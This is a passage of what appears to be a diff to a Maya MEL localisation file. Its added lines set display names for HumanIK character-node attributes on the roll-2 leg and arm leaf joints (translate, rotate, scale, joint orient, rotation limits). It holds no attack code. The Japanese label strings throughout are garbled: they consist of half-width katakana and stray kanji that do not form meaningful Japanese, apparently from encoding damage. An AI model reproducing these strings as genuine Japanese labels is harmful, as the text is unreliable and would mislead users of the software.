"ニモテメカラエヘネイ犹 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimitEnablex", "ニモテメカラエヘネイ犹 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimitEnabley", "ニモテメカラエヘネイ犹 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftUpLegRoll2MaxRLimitEnablez", "ニモテメカラエヘネイ犹 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2", "メカラヘネイ犹 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2T", "メカラヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Tx", "メカラヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Ty", "メカラヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Tz", "メカラヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2R", "メカラヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Rx", "メカラヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Ry", "メカラヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Rz", "メカラヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2S", "メカラヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Sx", "メカラヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Sy", "メカラヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2Sz", "メカラヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateOrder", "メカラヘネイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateAxis", "メカラヘネイ犹 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateAxisx", "メカラヘネイ犹 2 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateAxisy", "メカラヘネイ犹 2 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2RotateAxisz", "メカラヘネイ犹 2 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2JointOrient", "メカラヘネイ犹 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2JointOrientx", "メカラヘネイ犹 2 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2JointOrienty", "メカラヘネイ犹 2 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2JointOrientz", "メカラヘネイ犹 2 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimit", "メカラヘネイ犹 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimitx", "メカラヘネイ犹 2 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimity", "メカラヘネイ犹 2 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimitz", "メカラヘネイ犹 2 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimit", "メカラヘネイ犹 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimitx", "メカラヘネイ犹 2 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimity", "メカラヘネイ犹 2 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimitz", "メカラヘネイ犹 2 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimitEnablex", "ニモテメカラヘネイ犹 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimitEnabley", "ニモテメカラヘネイ犹 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MinRLimitEnablez", "ニモテメカラヘネイ犹 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimitEnablex", "ニモテメカラヘネイ犹 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimitEnabley", "ニモテメカラヘネイ犹 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftLegRoll2MaxRLimitEnablez", "ニモテメカラヘネイ犹 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2", "メカモメエヘネイ犹 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2T", "メカモメエヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Tx", "メカモメエヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Ty", "メカモメエヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Tz", "メカモメエヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2R", "メカモメエヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Rx", "メカモメエヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Ry", "メカモメエヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Rz", "メカモメエヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2S", "メカモメエヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Sx", "メカモメエヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Sy", "メカモメエヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2Sz", "メカモメエヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateOrder", "メカモメエヘネイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateAxis", "メカモメエヘネイ犹 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateAxisx", "メカモメエヘネイ犹 2 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateAxisy", "メカモメエヘネイ犹 2 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2RotateAxisz", "メカモメエヘネイ犹 2 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2JointOrient", "メカモメエヘネイ犹 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2JointOrientx", "メカモメエヘネイ犹 2 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2JointOrienty", "メカモメエヘネイ犹 2 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2JointOrientz", "メカモメエヘネイ犹 2 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimit", "メカモメエヘネイ犹 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimitx", "メカモメエヘネイ犹 2 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimity", "メカモメエヘネイ犹 2 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimitz", "メカモメエヘネイ犹 2 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimit", "メカモメエヘネイ犹 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimitx", "メカモメエヘネイ犹 2 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimity", "メカモメエヘネイ犹 2 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimitz", "メカモメエヘネイ犹 2 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimitEnablex", "ニモテメカモメエヘネイ犹 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimitEnabley", "ニモテメカモメエヘネイ犹 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MinRLimitEnablez", "ニモテメカモメエヘネイ犹 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimitEnablex", "ニモテメカモメエヘネイ犹 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimitEnabley", "ニモテメカモメエヘネイ犹 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightUpLegRoll2MaxRLimitEnablez", "ニモテメカモメエヘネイ犹 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2", "メカモメヘネイ犹 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2T", "メカモメヘネイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Tx", "メカモメヘネイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Ty", "メカモメヘネイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Tz", "メカモメヘネイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2R", "メカモメヘネイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Rx", "メカモメヘネイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Ry", "メカモメヘネイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Rz", "メカモメヘネイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2S", "メカモメヘネイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Sx", "メカモメヘネイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Sy", "メカモメヘネイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2Sz", "メカモメヘネイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2RotateOrder", "メカモメヘネイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2RotateAxis", "メカモメヘネイ犹 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2RotateAxisx", "メカモメヘネイ犹 2 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2RotateAxisy", "メカモメヘネイ犹 2 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2RotateAxisz", "メカモメヘネイ犹 2 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2JointOrient", "メカモメヘネイ犹 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2JointOrientx", "メカモメヘネイ犹 2 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2JointOrienty", "メカモメヘネイ犹 2 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2JointOrientz", "メカモメヘネイ犹 2 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimit", "メカモメヘネイ犹 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimitx", "メカモメヘネイ犹 2 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimity", "メカモメヘネイ犹 2 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimitz", "メカモメヘネイ犹 2 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimit", "メカモメヘネイ犹 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimitx", "メカモメヘネイ犹 2 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimity", "メカモメヘネイ犹 2 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimitz", "メカモメヘネイ犹 2 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimitEnablex", "ニモテメカモメヘネイ犹 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimitEnabley", "ニモテメカモメヘネイ犹 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MinRLimitEnablez", "ニモテメカモメヘネイ犹 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimitEnablex", "ニモテメカモメヘネイ犹 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimitEnabley", "ニモテメカモメヘネイ犹 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightLegRoll2MaxRLimitEnablez", "ニモテメカモメヘネイ犹 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2", "メカラアロイ犹 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2T", "メカラアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Tx", "メカラアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Ty", "メカラアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Tz", "メカラアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2R", "メカラアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Rx", "メカラアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Ry", "メカラアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Rz", "メカラアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2S", "メカラアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Sx", "メカラアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Sy", "メカラアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2Sz", "メカラアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateOrder", "メカラアロイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateAxis", "メカラアロイ犹 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateAxisx", "メカラアロイ犹 2 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateAxisy", "メカラアロイ犹 2 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2RotateAxisz", "メカラアロイ犹 2 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2JointOrient", "メカラアロイ犹 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2JointOrientx", "メカラアロイ犹 2 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2JointOrienty", "メカラアロイ犹 2 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2JointOrientz", "メカラアロイ犹 2 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimit", "メカラアロイ犹 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimitx", "メカラアロイ犹 2 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimity", "メカラアロイ犹 2 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimitz", "メカラアロイ犹 2 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimit", "メカラアロイ犹 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimitx", "メカラアロイ犹 2 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimity", "メカラアロイ犹 2 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimitz", "メカラアロイ犹 2 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimitEnablex", "ニモテメカラアロイ犹 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimitEnabley", "ニモテメカラアロイ犹 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MinRLimitEnablez", "ニモテメカラアロイ犹 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimitEnablex", "ニモテメカラアロイ犹 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimitEnabley", "ニモテメカラアロイ犹 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftArmRoll2MaxRLimitEnablez", "ニモテメカラアロイ犹 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2", "メカラヌーアロイ犹 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2T", "メカラヌーアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Tx", "メカラヌーアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Ty", "メカラヌーアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Tz", "メカラヌーアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2R", "メカラヌーアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Rx", "メカラヌーアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Ry", "メカラヌーアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Rz", "メカラヌーアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2S", "メカラヌーアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Sx", "メカラヌーアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Sy", "メカラヌーアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2Sz", "メカラヌーアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateOrder", "メカラヌーアロイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateAxis", "メカラヌーアロイ犹 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateAxisx", "メカラヌーアロイ犹 2 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateAxisy", "メカラヌーアロイ犹 2 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2RotateAxisz", "メカラヌーアロイ犹 2 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2JointOrient", "メカラヌーアロイ犹 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2JointOrientx", "メカラヌーアロイ犹 2 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2JointOrienty", "メカラヌーアロイ犹 2 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2JointOrientz", "メカラヌーアロイ犹 2 ケリスレキスマ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimit", "メカラヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimitx", "メカラヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimity", "メカラヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimitz", "メカラヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimit", "メカラヌーアロイ犹 2 ラエミラェマ゙ヨニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimitx", "メカラヌーアロイ犹 2 ラエミラェマ゙ヨニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimity", "メカラヌーアロイ犹 2 ラエミラェマ゙ヨニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimitz", "メカラヌーアロイ犹 2 ラエミラェマ゙ヨニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimitEnablex", "ニモテメカラヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimitEnabley", "ニモテメカラヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MinRLimitEnablez", "ニモテメカラヌーアロイ犹 2 ラミ。ミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimitEnablex", "ニモテメカラヌーアロイ犹 2 ラエミラェマ゙ヨニ X" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimitEnabley", "ニモテメカラヌーアロイ犹 2 ラエミラェマ゙ヨニ Y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafLeftForeArmRoll2MaxRLimitEnablez", "ニモテメカラヌーアロイ犹 2 ラエミラェマ゙ヨニ Z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2", "メカモメアロイ犹 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2T", "メカモメアロイ犹 2 ニスメニ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Tx", "メカモメアロイ犹 2 ニスメニ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Ty", "メカモメアロイ犹 2 ニスメニ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Tz", "メカモメアロイ犹 2 ニスメニ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2R", "メカモメアロイ犹 2 ミラェ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Rx", "メカモメアロイ犹 2 ミラェ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Ry", "メカモメアロイ犹 2 ミラェ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Rz", "メカモメアロイ犹 2 ミラェ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2S", "メカモメアロイ犹 2 ヒキナ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Sx", "メカモメアロイ犹 2 ヒキナ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Sy", "メカモメアロイ犹 2 ヒキナ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2Sz", "メカモメアロイ犹 2 ヒキナ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2RotateOrder", "メカモメアロイ犹 2 ミラェヒウミ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2RotateAxis", "メカモメアロイ犹 2 ミラェヨ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2RotateAxisx", "メカモメアロイ犹 2 ミラェヨ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2RotateAxisy", "メカモメアロイ犹 2 ミラェヨ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2RotateAxisz", "メカモメアロイ犹 2 ミラェヨ z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2JointOrient", "メカモメアロイ犹 2 ケリスレキスマ" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2JointOrientx", "メカモメアロイ犹 2 ケリスレキスマ x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2JointOrienty", "メカモメアロイ犹 2 ケリスレキスマ y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeafRightArmRoll2JointOrientz", "メカモメアロイ犹 2 